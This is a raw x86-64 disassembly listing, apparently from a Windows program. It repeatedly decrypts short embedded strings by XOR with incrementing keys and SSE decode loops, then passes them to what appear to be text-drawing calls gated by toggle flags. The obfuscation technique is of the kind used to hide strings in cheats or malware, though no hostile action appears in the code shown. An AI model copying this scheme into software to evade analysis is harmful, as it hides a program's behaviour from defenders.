movzx eax, byte [rax + 4]
test al, al
je 0x14008259f
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x540]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4ca8]
mov rcx, rbx
call fcn.1400423f0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0xe8]
mov byte [rbp + 0x6a], 0
lea rcx, [rbp + 0x6a]
call fcn.140088b90
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x140082605
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x548]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, str.astd
mov rcx, rbx
call fcn.1400423f0
call fcn.140043100
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm6
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x1400826ab
lea rdx, [rbp + 0x1d8]
mov byte [rbp + 0x6b], 0
lea rcx, [rbp + 0x6b]
call fcn.140088bb0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140082686
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x1400826ab
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x1400826b2
mov byte [0x1400aef77], 0
jmp 0x1400826f3
movzx eax, byte [0x1400aef77]
test al, al
je 0x1400826f3
lea rdx, [rbp + 0x1d0]
mov byte [rbp + 0x6c], 0
lea rcx, [rbp + 0x6c]
call fcn.140088bd0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400826eb
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140040350
movss xmm0, dword [0x1400a2050]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x14008277e
lea rdx, [rbp + 0x6f0]
mov byte [rbp + 0x6d], 0
lea rcx, [rbp + 0x6d]
call fcn.140088bf0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140082756
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x14008277e
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140082785
mov byte [0x1400aef77], 0
jmp 0x140082919
movzx eax, byte [0x1400aef77]
test al, al
je 0x140082919
lea rdx, [rbp + 0x8c0]
mov byte [rbp + 0x6e], 0
lea rcx, [rbp + 0x6e]
call fcn.140088c20
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140082911
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x1400828cc
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400828e0
mov rcx, r10
call fcn.140040350
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm11
call fcn.1400151e0
lea rdx, [rbp + 0xf0]
mov byte [rbp + 0x6f], 0
lea rcx, [rbp + 0x6f]
call fcn.140088c50
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x140082965
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x320]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae280]
mov rcx, rbx
call fcn.1400423f0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0xf8]
mov byte [rbp + 0x70], 0
lea rcx, [rbp + 0x70]
call fcn.140088c70
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x1400829cb
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x328]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae26c]
mov rcx, rbx
call fcn.1400423f0
call fcn.140043100
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm0, dword [0x1400a2010]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x140082a85
lea rdx, [rbp + 0x5f0]
mov byte [rbp + 0x71], 0
lea rcx, [rbp + 0x71]
call fcn.140088c90
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140082a5d
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140082a85
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140082a8c
mov byte [0x1400aef77], 0
jmp 0x140082c19
movzx eax, byte [0x1400aef77]
test al, al
je 0x140082c19
lea rdx, [rbp + 0x8d0]
mov byte [rbp + 0x72], 0
lea rcx, [rbp + 0x72]
call fcn.140088cb0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140082c11
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140082bd3
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140082be0
mov rcx, r10
call fcn.140040350
movss xmm0, dword [0x1400a2054]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x140082ca0
lea rdx, [rbp + 0x650]
mov byte [rbp + 0x73], 0
lea rcx, [rbp + 0x73]
call fcn.140088ce0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140082c78
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor cl, 0x3a
mov byte [rax + 9], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140082ca0
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140082ca7
mov byte [0x1400aef77], 0
jmp 0x140082e6a
movzx eax, byte [0x1400aef77]
test al, al
je 0x140082e6a
lea rdx, [rbp + 0x16f8]
mov byte [rbp + 0x74], 0
lea rcx, [rbp + 0x74]
call fcn.140088d00
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140082e62
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140082e2b
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140082d22
cmp r8d, 0x12
jge 0x140082e62
movsxd r9, r8d
add r9, r10
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x140082e31
mov rcx, r10
call fcn.140040350
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm11
call fcn.1400151e0
lea rdx, [rbp + 0x100]
mov byte [rbp + 0x75], 0
lea rcx, [rbp + 0x75]
call fcn.140088d20
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x140082eb6
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x330]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae2dc]
mov rcx, rbx
call fcn.1400423f0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x108]
mov byte [rbp + 0x76], 0
lea rcx, [rbp + 0x76]
call fcn.140088d40
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x140082f1c
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x338]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae27c]
mov rcx, rbx
call fcn.1400423f0
call fcn.140043100
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm0, dword [0x1400a2014]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x140082fc6
lea rdx, [rbp + 0x110]
mov byte [rbp + 0x77], 0
lea rcx, [rbp + 0x77]
call fcn.140088d60
movzx ecx, byte [rax + 4]
test cl, cl
je 0x140082f9e
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor cl, 0x35
mov byte [rax + 4], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140082fc6
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140082fcd
mov byte [0x1400aef77], 0
jmp 0x140083159
movzx eax, byte [0x1400aef77]
test al, al
je 0x140083159
lea rdx, [rbp + 0x9e0]
mov byte [rbp + 0x78], 0
lea rcx, [rbp + 0x78]
call fcn.140088d80
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140083151
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140083114
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140083120
mov rcx, r10
call fcn.140040350
movss xmm0, dword [0x1400a2060]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x1400831d4
lea rdx, [rbp + 0x248]
mov byte [rbp + 0x79], 0
lea rcx, [rbp + 0x79]
call fcn.140088db0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400831ac
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor cl, 0x37
mov byte [rax + 6], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x1400831d4
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x1400831db
mov byte [0x1400aef77], 0
jmp 0x140083369
movzx eax, byte [0x1400aef77]
test al, al
je 0x140083369
lea rdx, [rbp + 0x9b0]
mov byte [rbp + 0x7a], 0
lea rcx, [rbp + 0x7a]
call fcn.140088de0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140083361
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140083322
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140083330
mov rcx, r10
call fcn.140040350
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm11
call fcn.1400151e0
lea rdx, [rbp + 0x118]
mov byte [rbp + 0x7b], 0
lea rcx, [rbp + 0x7b]
call fcn.140088e10
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x1400833b5
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x378]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae400]
mov rcx, rbx
call fcn.1400423f0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x120]
mov byte [rbp + 0x7c], 0
lea rcx, [rbp + 0x7c]
call fcn.140088e30
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x14008341b
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x288]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae3fc]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400ae053], 0
je 0x140083629
lea rdx, [rbp + 0x1728]
mov byte [rbp + 0x7d], 0
lea rcx, [rbp + 0x7d]
call fcn.140088e50
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140083601
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x1400835ca
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1400834c1
cmp r8d, 0x12
jge 0x140083601
movsxd r9, r8d
add r9, r10
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1400835d0
mov rcx, r10
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140083629
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140083630
mov byte [0x1400aef77], 0
jmp 0x1400837f9
movzx eax, byte [0x1400aef77]
test al, al
je 0x1400837f9
lea rdx, [rbp + 0x1a00]
mov byte [rbp + 0x7e], 0
lea rcx, [rbp + 0x7e]
call fcn.140088e70
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x1400837f1
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x1400837b9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1400836b0
cmp r8d, 0x1b
jge 0x1400837f1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x1400837c0
mov rcx, r10
call fcn.140040350
movss xmm0, dword [0x1400a2060]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x140083874
lea rdx, [rbp + 0x280]
mov byte [rbp + 0x7f], 0
lea rcx, [rbp + 0x7f]
call fcn.140088ea0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14008384c
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor cl, 0x37
mov byte [rax + 6], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140083874
